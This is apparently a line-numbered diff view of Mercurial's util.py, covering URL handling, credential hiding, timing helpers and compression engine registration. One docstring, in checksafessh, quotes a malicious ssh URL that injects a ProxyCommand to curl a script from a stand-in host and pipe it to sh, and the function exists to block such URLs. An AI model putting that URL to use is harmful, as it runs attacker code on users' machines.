2758 if self.scheme == 'bundle':
2760 s = 'bundle:' + s
2759 s = 'bundle:' + s
2761 if self.fragment:
2760 if self.fragment:
2762 s += '#' + self.fragment
2761 s += '#' + self.fragment
2763 return s
2762 return s
2764
2763
2765 s = self.scheme + ':'
2764 s = self.scheme + ':'
2766 if self.user or self.passwd or self.host:
2765 if self.user or self.passwd or self.host:
2767 s += '//'
2766 s += '//'
2768 elif self.scheme and (not self.path or self.path.startswith('/')
2767 elif self.scheme and (not self.path or self.path.startswith('/')
2769 or hasdriveletter(self.path)):
2768 or hasdriveletter(self.path)):
2770 s += '//'
2769 s += '//'
2771 if hasdriveletter(self.path):
2770 if hasdriveletter(self.path):
2772 s += '/'
2771 s += '/'
2773 if self.user:
2772 if self.user:
2774 s += urlreq.quote(self.user, safe=self._safechars)
2773 s += urlreq.quote(self.user, safe=self._safechars)
2775 if self.passwd:
2774 if self.passwd:
2776 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2775 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2777 if self.user or self.passwd:
2776 if self.user or self.passwd:
2778 s += '@'
2777 s += '@'
2779 if self.host:
2778 if self.host:
2780 if not (self.host.startswith('[') and self.host.endswith(']')):
2779 if not (self.host.startswith('[') and self.host.endswith(']')):
2781 s += urlreq.quote(self.host)
2780 s += urlreq.quote(self.host)
2782 else:
2781 else:
2783 s += self.host
2782 s += self.host
2784 if self.port:
2783 if self.port:
2785 s += ':' + urlreq.quote(self.port)
2784 s += ':' + urlreq.quote(self.port)
2786 if self.host:
2785 if self.host:
2787 s += '/'
2786 s += '/'
2788 if self.path:
2787 if self.path:
2789 # TODO: similar to the query string, we should not unescape the
2788 # TODO: similar to the query string, we should not unescape the
2790 # path when we store it, the path might contain '%2f' = '/',
2789 # path when we store it, the path might contain '%2f' = '/',
2791 # which we should *not* escape.
2790 # which we should *not* escape.
2792 s += urlreq.quote(self.path, safe=self._safepchars)
2791 s += urlreq.quote(self.path, safe=self._safepchars)
2793 if self.query:
2792 if self.query:
2794 # we store the query in escaped form.
2793 # we store the query in escaped form.
2795 s += '?' + self.query
2794 s += '?' + self.query
2796 if self.fragment is not None:
2795 if self.fragment is not None:
2797 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2796 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2798 return s
2797 return s
2799
2798
2800 __str__ = encoding.strmethod(__bytes__)
2799 __str__ = encoding.strmethod(__bytes__)
2801
2800
2802 def authinfo(self):
2801 def authinfo(self):
2803 user, passwd = self.user, self.passwd
2802 user, passwd = self.user, self.passwd
2804 try:
2803 try:
2805 self.user, self.passwd = None, None
2804 self.user, self.passwd = None, None
2806 s = bytes(self)
2805 s = bytes(self)
2807 finally:
2806 finally:
2808 self.user, self.passwd = user, passwd
2807 self.user, self.passwd = user, passwd
2809 if not self.user:
2808 if not self.user:
2810 return (s, None)
2809 return (s, None)
2811 # authinfo[1] is passed to urllib2 password manager, and its
2810 # authinfo[1] is passed to urllib2 password manager, and its
2812 # URIs must not contain credentials. The host is passed in the
2811 # URIs must not contain credentials. The host is passed in the
2813 # URIs list because Python < 2.4.3 uses only that to search for
2812 # URIs list because Python < 2.4.3 uses only that to search for
2814 # a password.
2813 # a password.
2815 return (s, (None, (s, self.host),
2814 return (s, (None, (s, self.host),
2816 self.user, self.passwd or ''))
2815 self.user, self.passwd or ''))
2817
2816
2818 def isabs(self):
2817 def isabs(self):
2819 if self.scheme and self.scheme != 'file':
2818 if self.scheme and self.scheme != 'file':
2820 return True # remote URL
2819 return True # remote URL
2821 if hasdriveletter(self.path):
2820 if hasdriveletter(self.path):
2822 return True # absolute for our purposes - can't be joined()
2821 return True # absolute for our purposes - can't be joined()
2823 if self.path.startswith(br'\\'):
2822 if self.path.startswith(br'\\'):
2824 return True # Windows UNC path
2823 return True # Windows UNC path
2825 if self.path.startswith('/'):
2824 if self.path.startswith('/'):
2826 return True # POSIX-style
2825 return True # POSIX-style
2827 return False
2826 return False
2828
2827
2829 def localpath(self):
2828 def localpath(self):
2830 if self.scheme == 'file' or self.scheme == 'bundle':
2829 if self.scheme == 'file' or self.scheme == 'bundle':
2831 path = self.path or '/'
2830 path = self.path or '/'
2832 # For Windows, we need to promote hosts containing drive
2831 # For Windows, we need to promote hosts containing drive
2833 # letters to paths with drive letters.
2832 # letters to paths with drive letters.
2834 if hasdriveletter(self._hostport):
2833 if hasdriveletter(self._hostport):
2835 path = self._hostport + '/' + self.path
2834 path = self._hostport + '/' + self.path
2836 elif (self.host is not None and self.path
2835 elif (self.host is not None and self.path
2837 and not hasdriveletter(path)):
2836 and not hasdriveletter(path)):
2838 path = '/' + path
2837 path = '/' + path
2839 return path
2838 return path
2840 return self._origpath
2839 return self._origpath
2841
2840
2842 def islocal(self):
2841 def islocal(self):
2843 '''whether localpath will return something that posixfile can open'''
2842 '''whether localpath will return something that posixfile can open'''
2844 return (not self.scheme or self.scheme == 'file'
2843 return (not self.scheme or self.scheme == 'file'
2845 or self.scheme == 'bundle')
2844 or self.scheme == 'bundle')
2846
2845
2847 def hasscheme(path):
2846 def hasscheme(path):
2848 return bool(url(path).scheme)
2847 return bool(url(path).scheme)
2849
2848
2850 def hasdriveletter(path):
2849 def hasdriveletter(path):
2851 return path and path[1:2] == ':' and path[0:1].isalpha()
2850 return path and path[1:2] == ':' and path[0:1].isalpha()
2852
2851
2853 def urllocalpath(path):
2852 def urllocalpath(path):
2854 return url(path, parsequery=False, parsefragment=False).localpath()
2853 return url(path, parsequery=False, parsefragment=False).localpath()
2855
2854
2856 def checksafessh(path):
2855 def checksafessh(path):
2857 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2856 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2858
2857
2859 This is a sanity check for ssh urls. ssh will parse the first item as
2858 This is a sanity check for ssh urls. ssh will parse the first item as
2860 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2859 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2861 Let's prevent these potentially exploited urls entirely and warn the
2860 Let's prevent these potentially exploited urls entirely and warn the
2862 user.
2861 user.
2863
2862
2864 Raises an error.Abort when the url is unsafe.
2863 Raises an error.Abort when the url is unsafe.
2865 """
2864 """
2866 path = urlreq.unquote(path)
2865 path = urlreq.unquote(path)
2867 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2866 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2868 raise error.Abort(_('potentially unsafe url: %r') %
2867 raise error.Abort(_('potentially unsafe url: %r') %
2869 (pycompat.bytestr(path),))
2868 (pycompat.bytestr(path),))
2870
2869
2871 def hidepassword(u):
2870 def hidepassword(u):
2872 '''hide user credential in a url string'''
2871 '''hide user credential in a url string'''
2873 u = url(u)
2872 u = url(u)
2874 if u.passwd:
2873 if u.passwd:
2875 u.passwd = '***'
2874 u.passwd = '***'
2876 return bytes(u)
2875 return bytes(u)
2877
2876
2878 def removeauth(u):
2877 def removeauth(u):
2879 '''remove all authentication information from a url string'''
2878 '''remove all authentication information from a url string'''
2880 u = url(u)
2879 u = url(u)
2881 u.user = u.passwd = None
2880 u.user = u.passwd = None
2882 return bytes(u)
2881 return bytes(u)
2883
2882
2884 timecount = unitcountfn(
2883 timecount = unitcountfn(
2885 (1, 1e3, _('%.0f s')),
2884 (1, 1e3, _('%.0f s')),
2886 (100, 1, _('%.1f s')),
2885 (100, 1, _('%.1f s')),
2887 (10, 1, _('%.2f s')),
2886 (10, 1, _('%.2f s')),
2888 (1, 1, _('%.3f s')),
2887 (1, 1, _('%.3f s')),
2889 (100, 0.001, _('%.1f ms')),
2888 (100, 0.001, _('%.1f ms')),
2890 (10, 0.001, _('%.2f ms')),
2889 (10, 0.001, _('%.2f ms')),
2891 (1, 0.001, _('%.3f ms')),
2890 (1, 0.001, _('%.3f ms')),
2892 (100, 0.000001, _('%.1f us')),
2891 (100, 0.000001, _('%.1f us')),
2893 (10, 0.000001, _('%.2f us')),
2892 (10, 0.000001, _('%.2f us')),
2894 (1, 0.000001, _('%.3f us')),
2893 (1, 0.000001, _('%.3f us')),
2895 (100, 0.000000001, _('%.1f ns')),
2894 (100, 0.000000001, _('%.1f ns')),
2896 (10, 0.000000001, _('%.2f ns')),
2895 (10, 0.000000001, _('%.2f ns')),
2897 (1, 0.000000001, _('%.3f ns')),
2896 (1, 0.000000001, _('%.3f ns')),
2898 )
2897 )
2899
2898
2900 _timenesting = [0]
2899 _timenesting = [0]
2901
2900
2902 def timed(func):
2901 def timed(func):
2903 '''Report the execution time of a function call to stderr.
2902 '''Report the execution time of a function call to stderr.
2904
2903
2905 During development, use as a decorator when you need to measure
2904 During development, use as a decorator when you need to measure
2906 the cost of a function, e.g. as follows:
2905 the cost of a function, e.g. as follows:
2907
2906
2908 @util.timed
2907 @util.timed
2909 def foo(a, b, c):
2908 def foo(a, b, c):
2910 pass
2909 pass
2911 '''
2910 '''
2912
2911
2913 def wrapper(*args, **kwargs):
2912 def wrapper(*args, **kwargs):
2914 start = timer()
2913 start = timer()
2915 indent = 2
2914 indent = 2
2916 _timenesting[0] += indent
2915 _timenesting[0] += indent
2917 try:
2916 try:
2918 return func(*args, **kwargs)
2917 return func(*args, **kwargs)
2919 finally:
2918 finally:
2920 elapsed = timer() - start
2919 elapsed = timer() - start
2921 _timenesting[0] -= indent
2920 _timenesting[0] -= indent
2921 stderr = procutil.stderr
2922 stderr.write('%s%s: %s\n' %
2922 stderr.write('%s%s: %s\n' %
2923 (' ' * _timenesting[0], func.__name__,
2923 (' ' * _timenesting[0], func.__name__,
2924 timecount(elapsed)))
2924 timecount(elapsed)))
2925 return wrapper
2925 return wrapper
2926
2926
2927 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2927 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2928 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2928 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2929
2929
2930 def sizetoint(s):
2930 def sizetoint(s):
2931 '''Convert a space specifier to a byte count.
2931 '''Convert a space specifier to a byte count.
2932
2932
2933 >>> sizetoint(b'30')
2933 >>> sizetoint(b'30')
2934 30
2934 30
2935 >>> sizetoint(b'2.2kb')
2935 >>> sizetoint(b'2.2kb')
2936 2252
2936 2252
2937 >>> sizetoint(b'6M')
2937 >>> sizetoint(b'6M')
2938 6291456
2938 6291456
2939 '''
2939 '''
2940 t = s.strip().lower()
2940 t = s.strip().lower()
2941 try:
2941 try:
2942 for k, u in _sizeunits:
2942 for k, u in _sizeunits:
2943 if t.endswith(k):
2943 if t.endswith(k):
2944 return int(float(t[:-len(k)]) * u)
2944 return int(float(t[:-len(k)]) * u)
2945 return int(t)
2945 return int(t)
2946 except ValueError:
2946 except ValueError:
2947 raise error.ParseError(_("couldn't parse size: %s") % s)
2947 raise error.ParseError(_("couldn't parse size: %s") % s)
2948
2948
2949 class hooks(object):
2949 class hooks(object):
2950 '''A collection of hook functions that can be used to extend a
2950 '''A collection of hook functions that can be used to extend a
2951 function's behavior. Hooks are called in lexicographic order,
2951 function's behavior. Hooks are called in lexicographic order,
2952 based on the names of their sources.'''
2952 based on the names of their sources.'''
2953
2953
2954 def __init__(self):
2954 def __init__(self):
2955 self._hooks = []
2955 self._hooks = []
2956
2956
2957 def add(self, source, hook):
2957 def add(self, source, hook):
2958 self._hooks.append((source, hook))
2958 self._hooks.append((source, hook))
2959
2959
2960 def __call__(self, *args):
2960 def __call__(self, *args):
2961 self._hooks.sort(key=lambda x: x[0])
2961 self._hooks.sort(key=lambda x: x[0])
2962 results = []
2962 results = []
2963 for source, hook in self._hooks:
2963 for source, hook in self._hooks:
2964 results.append(hook(*args))
2964 results.append(hook(*args))
2965 return results
2965 return results
2966
2966
2967 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2967 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2968 '''Yields lines for a nicely formatted stacktrace.
2968 '''Yields lines for a nicely formatted stacktrace.
2969 Skips the 'skip' last entries, then return the last 'depth' entries.
2969 Skips the 'skip' last entries, then return the last 'depth' entries.
2970 Each file+linenumber is formatted according to fileline.
2970 Each file+linenumber is formatted according to fileline.
2971 Each line is formatted according to line.
2971 Each line is formatted according to line.
2972 If line is None, it yields:
2972 If line is None, it yields:
2973 length of longest filepath+line number,
2973 length of longest filepath+line number,
2974 filepath+linenumber,
2974 filepath+linenumber,
2975 function
2975 function
2976
2976
2977 Not be used in production code but very convenient while developing.
2977 Not be used in production code but very convenient while developing.
2978 '''
2978 '''
2979 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2979 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2980 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2980 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2981 ][-depth:]
2981 ][-depth:]
2982 if entries:
2982 if entries:
2983 fnmax = max(len(entry[0]) for entry in entries)
2983 fnmax = max(len(entry[0]) for entry in entries)
2984 for fnln, func in entries:
2984 for fnln, func in entries:
2985 if line is None:
2985 if line is None:
2986 yield (fnmax, fnln, func)
2986 yield (fnmax, fnln, func)
2987 else:
2987 else:
2988 yield line % (fnmax, fnln, func)
2988 yield line % (fnmax, fnln, func)
2989
2989
2990 def debugstacktrace(msg='stacktrace', skip=0,
2990 def debugstacktrace(msg='stacktrace', skip=0,
2991 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2991 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2992 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2992 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2993 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2993 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2994 By default it will flush stdout first.
2994 By default it will flush stdout first.
2995 It can be used everywhere and intentionally does not require an ui object.
2995 It can be used everywhere and intentionally does not require an ui object.
2996 Not be used in production code but very convenient while developing.
2996 Not be used in production code but very convenient while developing.
2997 '''
2997 '''
2998 if otherf:
2998 if otherf:
2999 otherf.flush()
2999 otherf.flush()
3000 f.write('%s at:\n' % msg.rstrip())
3000 f.write('%s at:\n' % msg.rstrip())
3001 for line in getstackframes(skip + 1, depth=depth):
3001 for line in getstackframes(skip + 1, depth=depth):
3002 f.write(line)
3002 f.write(line)
3003 f.flush()
3003 f.flush()
3004
3004
3005 class dirs(object):
3005 class dirs(object):
3006 '''a multiset of directory names from a dirstate or manifest'''
3006 '''a multiset of directory names from a dirstate or manifest'''
3007
3007
3008 def __init__(self, map, skip=None):
3008 def __init__(self, map, skip=None):
3009 self._dirs = {}
3009 self._dirs = {}
3010 addpath = self.addpath
3010 addpath = self.addpath
3011 if safehasattr(map, 'iteritems') and skip is not None:
3011 if safehasattr(map, 'iteritems') and skip is not None:
3012 for f, s in map.iteritems():
3012 for f, s in map.iteritems():
3013 if s[0] != skip:
3013 if s[0] != skip:
3014 addpath(f)
3014 addpath(f)
3015 else:
3015 else:
3016 for f in map:
3016 for f in map:
3017 addpath(f)
3017 addpath(f)
3018
3018
3019 def addpath(self, path):
3019 def addpath(self, path):
3020 dirs = self._dirs
3020 dirs = self._dirs
3021 for base in finddirs(path):
3021 for base in finddirs(path):
3022 if base in dirs:
3022 if base in dirs:
3023 dirs[base] += 1
3023 dirs[base] += 1
3024 return
3024 return
3025 dirs[base] = 1
3025 dirs[base] = 1
3026
3026
3027 def delpath(self, path):
3027 def delpath(self, path):
3028 dirs = self._dirs
3028 dirs = self._dirs
3029 for base in finddirs(path):
3029 for base in finddirs(path):
3030 if dirs[base] > 1:
3030 if dirs[base] > 1:
3031 dirs[base] -= 1
3031 dirs[base] -= 1
3032 return
3032 return
3033 del dirs[base]
3033 del dirs[base]
3034
3034
3035 def __iter__(self):
3035 def __iter__(self):
3036 return iter(self._dirs)
3036 return iter(self._dirs)
3037
3037
3038 def __contains__(self, d):
3038 def __contains__(self, d):
3039 return d in self._dirs
3039 return d in self._dirs
3040
3040
3041 if safehasattr(parsers, 'dirs'):
3041 if safehasattr(parsers, 'dirs'):
3042 dirs = parsers.dirs
3042 dirs = parsers.dirs
3043
3043
3044 def finddirs(path):
3044 def finddirs(path):
3045 pos = path.rfind('/')
3045 pos = path.rfind('/')
3046 while pos != -1:
3046 while pos != -1:
3047 yield path[:pos]
3047 yield path[:pos]
3048 pos = path.rfind('/', 0, pos)
3048 pos = path.rfind('/', 0, pos)
3049
3049
3050 # compression code
3050 # compression code
3051
3051
3052 SERVERROLE = 'server'
3052 SERVERROLE = 'server'
3053 CLIENTROLE = 'client'
3053 CLIENTROLE = 'client'
3054
3054
3055 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3055 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3056 (u'name', u'serverpriority',
3056 (u'name', u'serverpriority',
3057 u'clientpriority'))
3057 u'clientpriority'))
3058
3058
3059 class compressormanager(object):
3059 class compressormanager(object):
3060 """Holds registrations of various compression engines.
3060 """Holds registrations of various compression engines.
3061
3061
3062 This class essentially abstracts the differences between compression
3062 This class essentially abstracts the differences between compression
3063 engines to allow new compression formats to be added easily, possibly from
3063 engines to allow new compression formats to be added easily, possibly from
3064 extensions.
3064 extensions.
3065
3065
3066 Compressors are registered against the global instance by calling its
3066 Compressors are registered against the global instance by calling its
3067 ``register()`` method.
3067 ``register()`` method.
3068 """
3068 """
3069 def __init__(self):
3069 def __init__(self):
3070 self._engines = {}
3070 self._engines = {}
3071 # Bundle spec human name to engine name.
3071 # Bundle spec human name to engine name.
3072 self._bundlenames = {}
3072 self._bundlenames = {}
3073 # Internal bundle identifier to engine name.
3073 # Internal bundle identifier to engine name.
3074 self._bundletypes = {}
3074 self._bundletypes = {}
3075 # Revlog header to engine name.
3075 # Revlog header to engine name.
3076 self._revlogheaders = {}
3076 self._revlogheaders = {}
3077 # Wire proto identifier to engine name.
3077 # Wire proto identifier to engine name.
3078 self._wiretypes = {}
3078 self._wiretypes = {}
3079
3079
3080 def __getitem__(self, key):
3080 def __getitem__(self, key):
3081 return self._engines[key]
3081 return self._engines[key]
3082
3082
3083 def __contains__(self, key):
3083 def __contains__(self, key):
3084 return key in self._engines
3084 return key in self._engines
3085
3085
3086 def __iter__(self):
3086 def __iter__(self):
3087 return iter(self._engines.keys())
3087 return iter(self._engines.keys())
3088
3088
3089 def register(self, engine):
3089 def register(self, engine):
3090 """Register a compression engine with the manager.
3090 """Register a compression engine with the manager.
3091
3091
3092 The argument must be a ``compressionengine`` instance.
3092 The argument must be a ``compressionengine`` instance.
3093 """
3093 """
3094 if not isinstance(engine, compressionengine):
3094 if not isinstance(engine, compressionengine):
3095 raise ValueError(_('argument must be a compressionengine'))
3095 raise ValueError(_('argument must be a compressionengine'))
3096
3096
3097 name = engine.name()
3097 name = engine.name()
3098
3098
3099 if name in self._engines:
3099 if name in self._engines:
3100 raise error.Abort(_('compression engine %s already registered') %
3100 raise error.Abort(_('compression engine %s already registered') %
3101 name)
3101 name)
3102
3102
3103 bundleinfo = engine.bundletype()
3103 bundleinfo = engine.bundletype()
3104 if bundleinfo:
3104 if bundleinfo:
3105 bundlename, bundletype = bundleinfo
3105 bundlename, bundletype = bundleinfo
3106
3106
3107 if bundlename in self._bundlenames:
3107 if bundlename in self._bundlenames:
3108 raise error.Abort(_('bundle name %s already registered') %
3108 raise error.Abort(_('bundle name %s already registered') %
3109 bundlename)
3109 bundlename)
3110 if bundletype in self._bundletypes:
3110 if bundletype in self._bundletypes:
3111 raise error.Abort(_('bundle type %s already registered by %s') %
3111 raise error.Abort(_('bundle type %s already registered by %s') %
3112 (bundletype, self._bundletypes[bundletype]))
3112 (bundletype, self._bundletypes[bundletype]))
3113
3113
3114 # No external facing name declared.
3114 # No external facing name declared.
3115 if bundlename:
3115 if bundlename:
3116 self._bundlenames[bundlename] = name
3116 self._bundlenames[bundlename] = name
3117
3117
3118 self._bundletypes[bundletype] = name
3118 self._bundletypes[bundletype] = name
3119
3119
3120 wiresupport = engine.wireprotosupport()
3120 wiresupport = engine.wireprotosupport()
3121 if wiresupport:
3121 if wiresupport:
3122 wiretype = wiresupport.name
3122 wiretype = wiresupport.name
3123 if wiretype in self._wiretypes:
3123 if wiretype in self._wiretypes:
3124 raise error.Abort(_('wire protocol compression %s already '
3124 raise error.Abort(_('wire protocol compression %s already '
3125 'registered by %s') %
3125 'registered by %s') %
3126 (wiretype, self._wiretypes[wiretype]))
3126 (wiretype, self._wiretypes[wiretype]))
3127
3127
3128 self._wiretypes[wiretype] = name
3128 self._wiretypes[wiretype] = name
3129
3129
3130 revlogheader = engine.revlogheader()
3130 revlogheader = engine.revlogheader()
3131 if revlogheader and revlogheader in self._revlogheaders:
3131 if revlogheader and revlogheader in self._revlogheaders:
3132 raise error.Abort(_('revlog header %s already registered by %s') %
3132 raise error.Abort(_('revlog header %s already registered by %s') %
3133 (revlogheader, self._revlogheaders[revlogheader]))
3133 (revlogheader, self._revlogheaders[revlogheader]))
3134
3134
3135 if revlogheader:
3135 if revlogheader:
3136 self._revlogheaders[revlogheader] = name
3136 self._revlogheaders[revlogheader] = name
3137
3137
3138 self._engines[name] = engine
3138 self._engines[name] = engine
3139
3139
3140 @property
3140 @property
3141 def supportedbundlenames(self):
3141 def supportedbundlenames(self):
3142 return set(self._bundlenames.keys())
3142 return set(self._bundlenames.keys())
3143
3143
3144 @property
3144 @property
3145 def supportedbundletypes(self):
3145 def supportedbundletypes(self):
3146 return set(self._bundletypes.keys())
3146 return set(self._bundletypes.keys())
3147
3147
3148 def forbundlename(self, bundlename):
3148 def forbundlename(self, bundlename):
3149 """Obtain a compression engine registered to a bundle name.
3149 """Obtain a compression engine registered to a bundle name.
3150
3150
3151 Will raise KeyError if the bundle type isn't registered.
3151 Will raise KeyError if the bundle type isn't registered.
3152
3152
3153 Will abort if the engine is known but not available.
3153 Will abort if the engine is known but not available.
3154 """
3154 """
3155 engine = self._engines[self._bundlenames[bundlename]]
3155 engine = self._engines[self._bundlenames[bundlename]]
3156 if not engine.available():
3156 if not engine.available():
3157 raise error.Abort(_('compression engine %s could not be loaded') %
3157 raise error.Abort(_('compression engine %s could not be loaded') %
3158 engine.name())
3158 engine.name())
3159 return engine
3159 return engine
3160
3160
3161 def forbundletype(self, bundletype):
3161 def forbundletype(self, bundletype):
3162 """Obtain a compression engine registered to a bundle type.
3162 """Obtain a compression engine registered to a bundle type.
3163
3163
3164 Will raise KeyError if the bundle type isn't registered.
3164 Will raise KeyError if the bundle type isn't registered.
3165
3165
3166 Will abort if the engine is known but not available.
3166 Will abort if the engine is known but not available.
3167 """
3167 """
3168 engine = self._engines[self._bundletypes[bundletype]]
3168 engine = self._engines[self._bundletypes[bundletype]]
3169 if not engine.available():
3169 if not engine.available():
3170 raise error.Abort(_('compression engine %s could not be loaded') %
3170 raise error.Abort(_('compression engine %s could not be loaded') %
3171 engine.name())
3171 engine.name())
3172 return engine
3172 return engine
3173
3173
3174 def supportedwireengines(self, role, onlyavailable=True):
3174 def supportedwireengines(self, role, onlyavailable=True):
3175 """Obtain compression engines that support the wire protocol.
3175 """Obtain compression engines that support the wire protocol.
3176
3176
3177 Returns a list of engines in prioritized order, most desired first.
3177 Returns a list of engines in prioritized order, most desired first.
3178
3178
3179 If ``onlyavailable`` is set, filter out engines that can't be
3179 If ``onlyavailable`` is set, filter out engines that can't be
3180 loaded.
3180 loaded.
3181 """
3181 """
3182 assert role in (SERVERROLE, CLIENTROLE)
3182 assert role in (SERVERROLE, CLIENTROLE)
3183
3183
3184 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3184 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3185
3185
3186 engines = [self._engines[e] for e in self._wiretypes.values()]
3186 engines = [self._engines[e] for e in self._wiretypes.values()]
3187 if onlyavailable:
3187 if onlyavailable:
3188 engines = [e for e in engines if e.available()]
3188 engines = [e for e in engines if e.available()]
3189
3189
3190 def getkey(e):
3190 def getkey(e):
3191 # Sort first by priority, highest first. In case of tie, sort
3191 # Sort first by priority, highest first. In case of tie, sort
3192 # alphabetically. This is arbitrary, but ensures output is
3192 # alphabetically. This is arbitrary, but ensures output is
3193 # stable.
3193 # stable.
3194 w = e.wireprotosupport()
3194 w = e.wireprotosupport()
3195 return -1 * getattr(w, attr), w.name
3195 return -1 * getattr(w, attr), w.name
3196
3196
3197 return list(sorted(engines, key=getkey))
3197 return list(sorted(engines, key=getkey))
3198
3198
3199 def forwiretype(self, wiretype):
3199 def forwiretype(self, wiretype):
3200 engine = self._engines[self._wiretypes[wiretype]]
3200 engine = self._engines[self._wiretypes[wiretype]]
3201 if not engine.available():
3201 if not engine.available():
3202 raise error.Abort(_('compression engine %s could not be loaded') %
3202 raise error.Abort(_('compression engine %s could not be loaded') %
3203 engine.name())
3203 engine.name())
3204 return engine
3204 return engine
3205
3205
3206 def forrevlogheader(self, header):
3206 def forrevlogheader(self, header):
3207 """Obtain a compression engine registered to a revlog header.
3207 """Obtain a compression engine registered to a revlog header.
3208
3208
3209 Will raise KeyError if the revlog header value isn't registered.
3209 Will raise KeyError if the revlog header value isn't registered.
3210 """
3210 """
3211 return self._engines[self._revlogheaders[header]]
3211 return self._engines[self._revlogheaders[header]]
3212
3212
3213 compengines = compressormanager()
3213 compengines = compressormanager()
3214
3214
3215 class compressionengine(object):
3215 class compressionengine(object):
3216 """Base class for compression engines.
3216 """Base class for compression engines.
3217
3217
3218 Compression engines must implement the interface defined by this class.
3218 Compression engines must implement the interface defined by this class.
3219 """
3219 """
3220 def name(self):
3220 def name(self):
3221 """Returns the name of the compression engine.
3221 """Returns the name of the compression engine.
3222
3222
3223 This is the key the engine is registered under.
3223 This is the key the engine is registered under.
3224
3224
3225 This method must be implemented.
3225 This method must be implemented.
3226 """
3226 """
3227 raise NotImplementedError()
3227 raise NotImplementedError()
3228
3228
3229 def available(self):
3229 def available(self):
3230 """Whether the compression engine is available.
3230 """Whether the compression engine is available.
3231
3231
3232 The intent of this method is to allow optional compression engines
3232 The intent of this method is to allow optional compression engines
3233 that may not be available in all installations (such as engines relying
3233 that may not be available in all installations (such as engines relying
3234 on C extensions that may not be present).
3234 on C extensions that may not be present).
3235 """
3235 """
3236 return True
3236 return True
3237
3237
3238 def bundletype(self):
3238 def bundletype(self):
3239 """Describes bundle identifiers for this engine.
3239 """Describes bundle identifiers for this engine.
3240
3240
3241 If this compression engine isn't supported for bundles, returns None.
3241 If this compression engine isn't supported for bundles, returns None.
3242
3242
3243 If this engine can be used for bundles, returns a 2-tuple of strings of
3243 If this engine can be used for bundles, returns a 2-tuple of strings of
3244 the user-facing "bundle spec" compression name and an internal
3244 the user-facing "bundle spec" compression name and an internal
3245 identifier used to denote the compression format within bundles. To
3245 identifier used to denote the compression format within bundles. To
3246 exclude the name from external usage, set the first element to ``None``.
3246 exclude the name from external usage, set the first element to ``None``.
3247
3247
3248 If bundle compression is supported, the class must also implement
3248 If bundle compression is supported, the class must also implement
3249 ``compressstream`` and `decompressorreader``.
3249 ``compressstream`` and `decompressorreader``.
3250
3250
3251 The docstring of this method is used in the help system to tell users
3251 The docstring of this method is used in the help system to tell users
3252 about this engine.
3252 about this engine.
3253 """
3253 """
3254 return None
3254 return None
3255
3255
3256 def wireprotosupport(self):
3256 def wireprotosupport(self):
3257 """Declare support for this compression format on the wire protocol.
3257 """Declare support for this compression format on the wire protocol.
3258
3258
3259 If this compression engine isn't supported for compressing wire
3259 If this compression engine isn't supported for compressing wire
3260 protocol payloads, returns None.
3260 protocol payloads, returns None.
3261
3261
3262 Otherwise, returns ``compenginewireprotosupport`` with the following
3262 Otherwise, returns ``compenginewireprotosupport`` with the following
3263 fields:
3263 fields:
3264
3264
3265 * String format identifier
3265 * String format identifier
3266 * Integer priority for the server
3266 * Integer priority for the server
3267 * Integer priority for the client
3267 * Integer priority for the client
3268
3268
3269 The integer priorities are used to order the advertisement of format
3269 The integer priorities are used to order the advertisement of format
3270 support by server and client. The highest integer is advertised
3270 support by server and client. The highest integer is advertised
3271 first. Integers with non-positive values aren't advertised.
3271 first. Integers with non-positive values aren't advertised.
3272
3272
3273 The priority values are somewhat arbitrary and only used for default
3273 The priority values are somewhat arbitrary and only used for default
3274 ordering. The relative order can be changed via config options.
3274 ordering. The relative order can be changed via config options.
3275
3275
3276 If wire protocol compression is supported, the class must also implement
3276 If wire protocol compression is supported, the class must also implement
3277 ``compressstream`` and ``decompressorreader``.
3277 ``compressstream`` and ``decompressorreader``.
3278 """
3278 """
3279 return None
3279 return None
3280
3280
3281 def revlogheader(self):
3281 def revlogheader(self):
3282 """Header added to revlog chunks that identifies this engine.
3282 """Header added to revlog chunks that identifies this engine.
3283
3283
3284 If this engine can be used to compress revlogs, this method should
3284 If this engine can be used to compress revlogs, this method should
3285 return the bytes used to identify chunks compressed with this engine.
3285 return the bytes used to identify chunks compressed with this engine.
3286 Else, the method should return ``None`` to indicate it does not
3286 Else, the method should return ``None`` to indicate it does not
3287 participate in revlog compression.
3287 participate in revlog compression.
3288 """
3288 """
3289 return None
3289 return None
3290
3290
3291 def compressstream(self, it, opts=None):
3291 def compressstream(self, it, opts=None):
3292 """Compress an iterator of chunks.
3292 """Compress an iterator of chunks.
3293
3293
3294 The method receives an iterator (ideally a generator) of chunks of
3294 The method receives an iterator (ideally a generator) of chunks of
3295 bytes to be compressed. It returns an iterator (ideally a generator)
3295 bytes to be compressed. It returns an iterator (ideally a generator)
3296 of bytes of chunks representing the compressed output.
3296 of bytes of chunks representing the compressed output.
3297
3297
